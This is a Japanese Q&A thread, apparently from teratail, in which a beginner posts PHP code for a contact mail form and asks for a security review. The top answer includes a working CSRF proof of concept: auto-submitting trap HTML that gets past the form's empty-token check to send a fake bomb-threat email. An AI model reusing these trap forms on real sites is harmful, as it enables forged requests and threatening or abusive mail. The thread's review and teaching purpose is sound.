PHPでメールフォームを作成したので、脆弱性がないかアドバイスいただけないでしょうか。
エンジニアでもなければ、PHPもろくに書けない雑魚ですが、「php メールフォーム 作り方」でググって表示されるサイトを見ると、「んんんんん？？？」と思うところがあります。
これらを参考にしたり、コピペする方は、記述されているコードの良し悪しは判断できないかと思います。
そのような方々が参考にできるメールフォームを作りたいという思いで、調べて作りました。
周りに書いたコードを確認してもらえる人もいないので、皆様からのアドバイスがほしいです((_ _ (´ω｀ )ﾍﾟｺ
このメールフォームは、下記を対象者としています。
- php メールフォーム 作り方 でググってコピペする方
- コピペして動けばいいと考えている方
- if文や関数など基本的な記述はわかるけど、クラスとか理解していない方
- 脆弱性？なにそれ？という方
そのために、このメールフォームは下記の点を意識して作成しました。
- コピペしたら動く
- なるべく難しい記述はしない、記述量を減らす
- 処理を中断する die を使っていないので、表示したい箇所にコピペすれば動く
- PHP5.2.xまで想定し、環境（magic_quotes_gpc、セーフモード）に依存しない
- 肝心の脆弱性対策はクリックジャッキング、CSRF、XSS、メールヘッダインジェクションを考慮
最終的にはコード＋説明した記事を作成してQittaに投稿する予定です。
問題があれば、詳しい方々からアドバイスやご指摘があるはずなので...
皆様から見て、脆弱性や気になる点などあれば、アドバイスもらえると嬉しいです((_ _ (´ω｀ )ﾍﾟｺ
至らないところがあれば、調べますので、ご指摘だけでも頂けると嬉しいです。
お願いします。
入力（index.php） → 確認（confirm.php） → 送信（send.php） と画面を遷移してメールを送ります。
<?php
// 他のサイトでインラインフレーム表示を禁止する（クリックジャッキング対策）
header('X-FRAME-OPTIONS: SAMEORIGIN');
// セッション開始
session_start();
// HTML特殊文字をエスケープする関数
function h($str) {
return htmlspecialchars($str,ENT_QUOTES,'UTF-8');
}
/* --------------------------------------------------
トークンの作成（CSRF対策）
※使用しているPHPのバージョン・環境にあわせて
トークンを選んでね。不要なトークは削除してね。
-------------------------------------------------- */
// PHP 7.0 以降
if(!isset($_SESSION['token'])) {
$_SESSION['token'] = bin2hex(random_bytes(32));
}
// PHP 5.3 ～ 5.x ※OPENSSL導入済
if(!isset($_SESSION['token'])) {
$_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}
// PHP 5.3 未満
if(!isset($_SESSION['token'])) {
$_SESSION['token'] = hash('sha256', session_id());
}
// トークンを代入
$token = $_SESSION['token'];
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>入力画面</title>
</head>
<body>
<h1>お問い合わせ（入力画面）</h1>
<form method="post" action="confirm.php">
<table>
<tr>
<th>お名前（必須）</th>
<td><input type="text" name="name"></td>
</tr>
<tr>
<th>ふりがな（必須）</th>
<td><input type="text" name="ruby"></td>
</tr>
<tr>
<th>メールアドレス（必須）</th>
<td><input type="text" name="mail"></td>
</tr>
<tr>
<th>内容（必須）</th>
<td><textarea name="content"></textarea></td>
</tr>
</table>
<input type="hidden" name="token" value="<?php echo h($token); ?>">
<button>送信内容確認</button>
</form>
</body>
</html><?php
// 他のサイトでインラインフレーム表示を禁止する（クリックジャッキング対策）
header('X-FRAME-OPTIONS: SAMEORIGIN');
// セッション開始
session_start();
// HTML特殊文字をエスケープする関数
function h($str) {
return htmlspecialchars($str,ENT_QUOTES,'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>確認画面</title>
</head>
<body>
<h1>お問い合わせ（確認画面）</h1>
<?php
// セッション変数がなければ、空文字を代入
if(!isset($_SESSION['token'])) {
$_SESSION['token'] = '';
}
// POSTされたデータを変数に代入（magic_quotes_gpc = On ＋ NULLバイト 対策）
foreach (array('token','name','ruby','mail','content') as $v) {
$$v = filter_input(INPUT_POST, $v, FILTER_DEFAULT, FILTER_FLAG_STRIP_LOW);
}
// トークンを確認し、確認画面を表示
if($token !== $_SESSION['token']) {
echo '<p>お問い合わせの手順に誤りがあります。<br>お手数ですが、最初からやり直してください。</p>';
} else {
$error_flag = 0;
// 必須項目は未入力をチェック
if ($name === '') {
echo '<p>お名前をご入力してください。</p>';
$error_flag = 1;
} elseif (mb_strlen($name) > 50) {
echo '<p>お名前は 50 文字以内で入力してください。</p>';
$error_flag = 1;
}
if ($ruby === '') {
echo '<p>ふりがなをご入力してください。</p>';
$error_flag = 1;
} elseif (mb_strlen($ruby) > 50) {
echo '<p>ふりがなは 50 文字以内で入力してください。</p>';
$error_flag = 1;
}
if ($mail === '') {
echo '<p>メールアドレスをご入力してください。</p>';
$error_flag = 1;
} elseif (mb_strlen($mail) > 100) {
echo '<p>メールアドレスは 100 文字以内で入力してください。</p>';
$error_flag = 1;
} elseif (!filter_var($mail, FILTER_VALIDATE_EMAIL)) {
echo '<p>メールアドレスの形式が正しくありません。</p>';
$error_flag = 1;
}
if ($content === '') {
echo '<p>内容をご入力してください。</p>';
$error_flag = 1;
} elseif (mb_strlen($content) > 500) {
echo '<p>内容は 500 文字以内で入力してください。</p>';
$error_flag = 1;
}
// エラーがある場合は、戻るボタンを表示し、エラーがない場合は、確認画面を表示
if ($error_flag === 1) {
echo '<button onClick="history.back(); return false;">戻る</button>';
} else {
// セッション変数に代入
$_SESSION['name'] = $name;
$_SESSION['ruby'] = $ruby;
$_SESSION['mail'] = $mail;
$_SESSION['content'] = $content;
// 確認用画面の表示
?>
<form method="post" action="send.php">
<table>
<tr>
<th>お名前</th>
<td><?php echo h($name); ?></td>
</tr>
<tr>
<th>ふりがな</th>
<td><?php echo h($ruby); ?></td>
</tr>
<tr>
<th>メールアドレス</th>
<td><?php echo h($mail); ?></td>
</tr>
<tr>
<th>内容</th>
<td><?php echo nl2br(h($content)); ?></td>
</tr>
</table>
<input type="hidden" name="token" value="<?php echo h($token); ?>">
<button>送信</button>
</form>
<?php
}
}
?>
</body>
</html><?php
// 他のサイトでインラインフレーム表示を禁止する（クリックジャッキング対策）
header('X-FRAME-OPTIONS: SAMEORIGIN');
// セッション開始
session_start();
// mb_send_mail のエンコーディング
mb_language('ja');
// 内部文字エンコーディングを設定
mb_internal_encoding('UTF-8');
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>送信画面</title>
</head>
<body>
<h1>お問い合わせ（送信画面）</h1>
<?php
// セッション変数がなければ、空文字を代入
if(!isset($_SESSION['token'])) {
$_SESSION['token'] = '';
}
// POST['token']の値をtoken変数に代入
$token = filter_input(INPUT_POST, 'token', FILTER_DEFAULT, FILTER_FLAG_STRIP_LOW);
// 各セッション変数を各変数に代入
$name = isset($_SESSION['name']) && is_string($_SESSION['name']) ? $_SESSION['name'] : '';
$ruby = isset($_SESSION['ruby']) && is_string($_SESSION['ruby']) ? $_SESSION['ruby'] : '';
$mail = isset($_SESSION['mail']) && is_string($_SESSION['mail']) ? $_SESSION['mail'] : '';
$content = isset($_SESSION['content']) && is_string($_SESSION['content']) ? $_SESSION['content'] : '';
// トークンの値が一致しない場合は、エラー文を表示し、一致する場合は送信する
if($token !== $_SESSION['token']) {
echo '<p>送信後に再度アクセスされたか、お問い合わせの手順に誤りがあります。<br>お手数ですが、最初の画面からご入力ください。<p>';
} else {
/* 運営側へ送信するメールの設定 */
// 送信先のメールアドレス
$to = 'xxxxxx@xxxxx.xxxx';
// 件名
$subject = '【お問い合わせからの送信】○○○○○○○○○○';
// 本文
$message = "◆お名前\n$name\n\n◆フリガナ\n$ruby\n\n◆メールアドレス\n$mail\n\n◆内容\n$content";
// オプション
$option = '-f'. $to;
/* 問い合わせされた方へ自動返信するメールの設定 */
// 件名
$auto_subject = '【お問い合わせ】○○○○○○○○○○';
// 送信元のメールアドレス
$auto_from = 'From:' . $to;
// 本文
$auto_message = "
※このメールは自動返信によるものです。
$name 様
このたびは、お問合せいただき、誠にありがとうございました。
お送りいただきました内容を確認の上、担当者より折り返しご連絡させていただきます。
";
/* セーフモードがONの場合は、mb_send_mailの第5引数が使えないため、処理を分岐して送信 */
if(ini_get('safe_mode')) {
/* 運営側と自動返信のメールの送信が完了したら、送信完了の文章を表示する */
if(mb_send_mail($to, $subject, $message, "From:$mail") && mb_send_mail($mail, $auto_subject, $auto_message, $auto_from)) {
echo '<p>このたびは、お問合せいただき、誠にありがとうございました。<br>お送りいただきました内容を確認の上、担当者より折り返しご連絡させていただきます。</p>';
} else {
echo '<p>大変申し訳ございませんが、メールの送信に失敗しました。<br>お手数ですが最初からやり直してください。</p>';
}
} else {
/* 運営側と自動返信のメールの送信が完了したら、送信完了の文章を表示する */
if(mb_send_mail($to, $subject, $message, "From:$mail", $option) && mb_send_mail($mail, $auto_subject, $auto_message, $auto_from, $option)) {
echo '<p>このたびは、お問合せいただき、誠にありがとうございました。<br>お送りいただきました内容を確認の上、担当者より折り返しご連絡させていただきます。</p>';
} else {
echo '<p>大変申し訳ございませんが、メールの送信に失敗しました。<br>お手数ですが最初からやり直してください。</p>';
}
}
}
// セッションの破棄
$_SESSION = array();
session_destroy();
?>
</body>
</html>2017.04.11 追記
徳丸氏による、脆弱性の解説です。
ありがとうございます((_ _ (´ω｀ )ﾍﾟｺ
-
気になる質問をクリップする
クリップした質問は、後からいつでもマイページで確認できます。
またクリップした質問に回答があった際、通知やメールを受け取ることができます。
クリップを取り消します
-
良い質問の評価を上げる
以下のような質問は評価を上げましょう
- 質問内容が明確
- 自分も答えを知りたい
- 質問者以外のユーザにも役立つ
評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。
質問の評価を上げたことを取り消します
-
評価を下げられる数の上限に達しました
評価を下げることができません
- 1日5回まで評価を下げられます
- 1日に1ユーザに対して2回まで評価を下げられます
質問の評価を下げる
teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。
- プログラミングに関係のない質問
- やってほしいことだけを記載した丸投げの質問
- 問題・課題が含まれていない質問
- 意図的に内容が抹消された質問
- 広告と受け取られるような投稿
評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。
質問の評価を下げたことを取り消します
この機能は開放されていません
評価を下げる条件を満たしてません
質問の評価を下げる機能の利用条件
この機能を利用するためには、以下の事項を行う必要があります。
- 質問回答など一定の行動
-
メールアドレスの認証
メールアドレスの認証
-
質問評価に関するヘルプページの閲覧
質問評価に関するヘルプページの閲覧
checkベストアンサー
+27
CSRF脆弱性があるようです。PoC(Proof of Concept)を書きましたのでご確認ください。解説はしませんので、PoCから読み解いて下さい。
以下は、適当なサイトに罠として仕掛けるHTMLです。wana.htmlとします。
<body>
<iframe src="wana1.html"></iframe>
<iframe src="wana2.html"></iframe>
</body>wana.htmlはwana1.htmlとwana2.htmlを読み込んでいます。それぞれを示します。まずは wana1.html
<body onload="document.forms[0].submit()">
<form action="http://example.jp/confirm.php" method="POST">
<input name="name" value="田中">
<input name="ruby" value="たなか">
<input name="mail" value="tanaka@example.jp">
<input name="content" value="○○空港を15:00に爆破します">
<input name="token" value="">
<input type="submit">
</form>
</body>続いて、wana2.html
<body onload="setTimeout('document.forms[0].submit()', 5000)">
<form action="http://example.jp/send.php" method="POST">
<input name="token" value="">
</form>
</body>wana1.htmlは、被害者が罠閲覧後直ちにconfirm.phpをPOSTします。
wana2.htmlは、5秒後にsend.phpをPOSTします。
結果として、CSRF対策を回避して、空港爆破予告をメールすることになります。ご確認を。
前提として、罠閲覧時に、被害者はこのサイトのセッションはないとします。これは無理のない前提だと思います。
投稿
-
回答の評価を上げる
以下のような回答は評価を上げましょう
- 正しい回答
- わかりやすい回答
- ためになる回答
評価が高い回答ほどページの上位に表示されます。
-
回答の評価を下げる
下記のような回答は推奨されていません。
- 間違っている回答
- 質問の回答になっていない投稿
- スパムや攻撃的な表現を用いた投稿
評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。
+3
セッション管理の問題がありそうなのはわかりましたが、セキュリティについての知識が不足したままでは、今後修正などした時に再度脆弱性を作り込んでしまいます。なので具体的な指摘はしません。
とりあえず、体系的に学ぶ 安全なWebアプリケーションの作り方を読んでみてください。脆弱性の仕組みをきちんと学んでからもう一度コード全体を見直してみると良いでしょう。
(以下の内容は「安全なWebアプリケーションの作り方」を読めばわかることですので、是非書籍をお読みください)
どうも「メールフォームの機能はメールを送ることだけだから、攻撃の重点はメール送信に限られる」と考えられてる方がいるようです。大きな間違いです。
メールフォームであっても、入力の漏洩、他のアプリケーションを攻撃するための踏み台、など、メール送信機能を使わない攻撃もあり得ます。とくに、他のアプリケーションと同居して使われる場合、そのアプリケーションが単体では安全であっても、同じホストに脆弱なアプリケーションがあれば危険にさらされます。
メールフォームだからといってメールのことだけ気にしているとこのように失敗します。
もちろん、メールのことも気にしなければなりませんが、「大量メール送信」など以前に気にしなければならないことがまずたくさんあります。「大量メール送信」対策をしていても足下に脆弱性があれば無意味になります。
このあたりの感覚も、きちんと勉強していればだんだん身についてくると思います。おかしなアドバイスにも気づけるようになるでしょう。
(かくいう私も空トークンのすり抜けによるCSRFは見落としてたので勉強不足ですね)
参考までに、Webアプリケーションのセキュリティについて、ものすごく大雑把な絵を描いてみました。安全なWebアプリケーションを作るには体系的な知識が必要であること、アプリケーション固有の機能だけを気にするのだけでは無意味だということが伝わるでしょうか。
また、私の回答のせいで「安全なWebアプリケーションの作り方」という良書に対し誤った宣伝をする場を与えてしまったのは残念ですが、そのような事実は無いこと、メールフォームも含めた多くの領域のWebアプリケーションを作る上でベースとなる知識を学ぶために非常に参考になる本だということはお伝えしたいと思います。
下記のコメント欄のte2jiなる自物の投稿のうち、「安全なWebアプリケーションの作り方」についての記述は、当該書籍の内容を目次のみから妄想して書かれたものです。実際の書籍の内容を反映したものではなく、技術的な裏付けは全くありませんので、十分注意してお読みください。
投稿
-
回答の評価を上げる
以下のような回答は評価を上げましょう
- 正しい回答
- わかりやすい回答
- ためになる回答
評価が高い回答ほどページの上位に表示されます。
-
回答の評価を下げる
下記のような回答は推奨されていません。
- 間違っている回答
- 質問の回答になっていない投稿
- スパムや攻撃的な表現を用いた投稿
評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。
+2
まずは脆弱性診断ツールを使って調べてみるのが手っ取り早くておすすめです。
投稿
-
回答の評価を上げる
以下のような回答は評価を上げましょう
- 正しい回答
- わかりやすい回答
- ためになる回答
評価が高い回答ほどページの上位に表示されます。
-
回答の評価を下げる
下記のような回答は推奨されていません。
- 間違っている回答
- 質問の回答になっていない投稿
- スパムや攻撃的な表現を用いた投稿
評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。
-3
すでに、伝えたいことは大体記述したのですが、回答としてまとめることにしました。
7968 さんの作成されたスクリプトは、「メールの配信攻撃」への対応がなされていません。
メールフォームのセキュリティ要件として、ざっくりとですが、以下の機能実装を検討する必要があります。
・外部からの投稿対策
・連続送信制限
・送信/エラーログ
これらの実装がない場合、機械的な投稿を容易に許すことになり、
・特定アドレスに対して大量の「受け付けました」メールを飛ばす
・大量の宛先不明メールを発送され、使用ドメインをSPAMドメインとされる
・サーバリソースを借りている場合、送信メール数の上限張り付きになり、事実上メールフォームが機能しない
といった被害が発生する可能性があります。
メールフォームは、認証外ユーザにフル機能を提供しつつ、その投稿を制限するという、かなりハードルの高い要求を突きつけられます。上記を加味し、セキュリティ要件を再整理してみて下さい。
おまけ
せっかく回答を作成したので追記します。
・セキュリティ要件
メール配信攻撃以外のセキュリティ要件として、ドメイン認証を検討する必要があります。
SMTPサーバを経由し、SPF/DKIMへ対応した発信が出来ないと自動送信メールが届かないケースが大量に発生します。
・セキュリティバグ
セッション関連の指摘がありましたが、多分、セッションの開始のタイミングの指摘だと思います。
以下を参考にすると良いです。
セッションの安全な管理方法について
認証外アプリのセッションの取り回しに関して、ockeghem さんが丁寧に説明してくれています。
ockeghem さんの回答の他に、ikedas さんの回答とそのコメント欄も合わせて見ると良いです。
投稿
-
回答の評価を上げる
以下のような回答は評価を上げましょう
- 正しい回答
- わかりやすい回答
- ためになる回答
評価が高い回答ほどページの上位に表示されます。
-
回答の評価を下げる
下記のような回答は推奨されていません。
- 間違っている回答
- 質問の回答になっていない投稿
- スパムや攻撃的な表現を用いた投稿
評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。
2017/04/09 19:51
罠サイトの方法とCSRF対策の回避方法にめっちゃ感動しました٩( 'ω' )و
トークンに問題があるので、改善します。
まさか、徳丸氏から回答もらえとるとは、嬉しいです。
参考になりました。回答ありがとうございました。
2017/04/10 01:02 編集
そもそも、不適切な処理であることは理解しているんですけど、ちょっと気になったもので。
2017/04/10 06:42
私が空文字列に着目した理由は、トークンチェックのif文にNULLチェックが入ってなかったからなんですが、ソース上ではissetの結果NULLの場合は空文字列をセットしていたので、空文字列ならいけるのだろうと思いました。リモート診断ではソースは確認できませんが、わりあいあるケースなので空文字列も試しますね。
2017/04/10 08:15